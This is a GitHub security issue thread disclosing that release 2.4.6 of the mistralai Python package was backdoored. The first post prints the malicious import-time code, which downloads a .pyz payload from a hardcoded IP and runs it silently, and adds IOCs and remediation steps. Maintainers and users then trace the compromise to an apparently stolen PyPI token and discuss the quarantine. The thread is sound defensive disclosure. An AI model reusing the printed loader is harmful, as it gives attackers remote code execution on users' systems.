[SECURITY] Supply chain compromise in mistralai 2.4.6 — backdoor downloads and executes payload from hardcoded IP

[nullcharb]

Python -VV

## Summary

`mistralai@2.4.6` contains a backdoor in `src/mistralai/client/__init__.py` (lines 21-48) that downloads and executes an arbitrary payload from a hardcoded IP address on Linux systems at import time.

## Malicious Code


import subprocess as _sub
import os as _os

def _run_background_task():
    if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):
        return
    _os.environ["MISTRAL_INIT"] = "1"
    _url = "https://83.142.209.194/transformers.pyz"
    _dest = "/tmp/transformers.pyz"
    try:
        if not _os.path.exists(_dest):
            _sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
        if _os.path.exists(_dest):
            _sub.Popen(
                [_sys.executable, _dest],
                stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,
                start_new_session=True, env=_os.environ.copy()
            )
    except:
        pass

_run_background_task()  # Executes on import


## Behavior

1. **Targets Linux only** (`sys.platform.startswith("linux")`)
2. Downloads `https://83.142.209.194/transformers.pyz` via `curl -k` (disables TLS verification)
3. Saves payload to `/tmp/transformers.pyz`
4. Executes it as a background Python process (`start_new_session=True`, stdout/stderr silenced)
5. Triggered automatically on `import mistralai` — no user action needed
6. Uses `MISTRAL_INIT` env var as single-execution guard
7. Bare `except: pass` swallows all errors silently

## IOCs

| Type | Value |
|------|-------|
| **C2 IP** | `83.142.209.194` |
| **Payload URL** | `https://83.142.209.194/transformers.pyz` |
| **Payload path** | `/tmp/transformers.pyz` |
| **Env variable** | `MISTRAL_INIT=1` |
| **File** | `src/mistralai/client/__init__.py` lines 21-48 |
| **SHA256 (tarball)** | `6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b` |

## Affected File

`src/mistralai/client/__init__.py` — this code does NOT exist in version `2.4.5`.

## Recommended Actions

1. **Yank `2.4.6` from PyPI immediately**
2. Audit PyPI publishing credentials and CI/CD pipeline for compromise
3. Any Linux system that ran `pip install mistralai==2.4.6` or `pip install --upgrade mistralai` since 2026-05-12T00:05Z should check for `/tmp/transformers.pyz` and investigate

Pip Freeze

N/A

Reproduction Steps

N/A

Expected Behavior

N/A

Additional Context

No response

Suggested Solutions

No response

[asjadathick]

I did a quick repo-visible check to understand whether this appears to come from committed source, generated PR branches, or publishing.

Findings from public repo/GitHub state:

• main currently points at v2.4.5; I do not see a v2.4.6 tag.
• The current src/mistralai/client/__init__.py in main does not contain the reported code.
• I checked the visible 2.4.6 generation branches/PRs:
  • speakeasy-sdk-regen-25657723146 / PR chore: 🐝 Update SDK - Generate MISTRALAI MISTRALAI-SDK [speakeasy-sdk-regen-25657723146] 2.4.6 #520
  • speakeasy-sdk-regen-25685838297 / PR chore: 🐝 Update SDK - Generate MISTRALAI MISTRALAI-SDK [speakeasy-sdk-regen-25685838297] 2.4.6 #522
• I did not find the reported IoCs in those branches:
  • 83.142.209.194
  • transformers.pyz
  • MISTRAL_INIT
  • _run_background_task
  • subprocess as _sub
• The visible GitHub Actions publish workflow history I checked did not show a Publish MISTRALAI-SDK run for 2.4.6; the latest visible publish run I saw was for 2.4.5 on 2026-05-07.
• The 2.4.6 generation workflow runs appear to have created PR branches, but the publish jobs inside those generation runs were skipped.

Based on that, this looks more consistent with a publish-token / PyPI-artifact compromise than with malicious code merged into this repository. That is an inference, not proof.

One repo-side risk I noticed: the generation workflow appears to pass PYPI_TOKEN into the Speakeasy generation workflow even though it runs in PR mode. If that token is not required for generation, removing it from generation jobs would reduce blast radius.

Useful next checks for maintainers:

• PyPI upload metadata for 2.4.6, including uploader/account, upload time, client, and file hashes.
• GitHub org audit log around the upload window.
• Any deleted or non-public Actions runs.
• Secret access/rotation history for PYPI_TOKEN, CLIENT_PIPELINE, and SPEAKEASY_API_KEY as noted by @nullcharb
• Whether 2.4.6 was uploaded from the normal GitHub Actions workflow, a local machine, or another automation path.

I’m intentionally not attaching a PR because the malicious code does not appear to be present in the checked-in generated SDK files I inspected.

[agriyakhetarpal]

PyPI upload metadata for 2.4.6

https://pypi.org/project/mistralai/#mistralai-2.4.6.tar.gz and https://pypi.org/project/mistralai/#mistralai-2.4.6-py3-none-any.whl show that they were not uploaded using Trusted Publishing but rather with twine 6.2.0, likely on a local machine by the attacker. That would indicate an exfiltration of the PyPI token.

[blackboxo]

when will this be solved?

[humanize-platform]

Entire mistralai project in PyPi is showing as quarantined https://pypi.org/project/mistralai/. None of the clients are able to install mistralai using pip/uv. This is affecting the production heavily. Kindly expedite the fix.

[UlrichScheller]

We are using an older version of mistralai in our build pipeline, which now does not work anymore. Does anyone have a rough estimation of when the dependency will be back? Depending on this, we will wait or move to another provider.

[cp-sv]

I am considering pinning against the github SHA once this is fixed so these kind of attacks are not interrupting CI/CD in the future while keeping security high.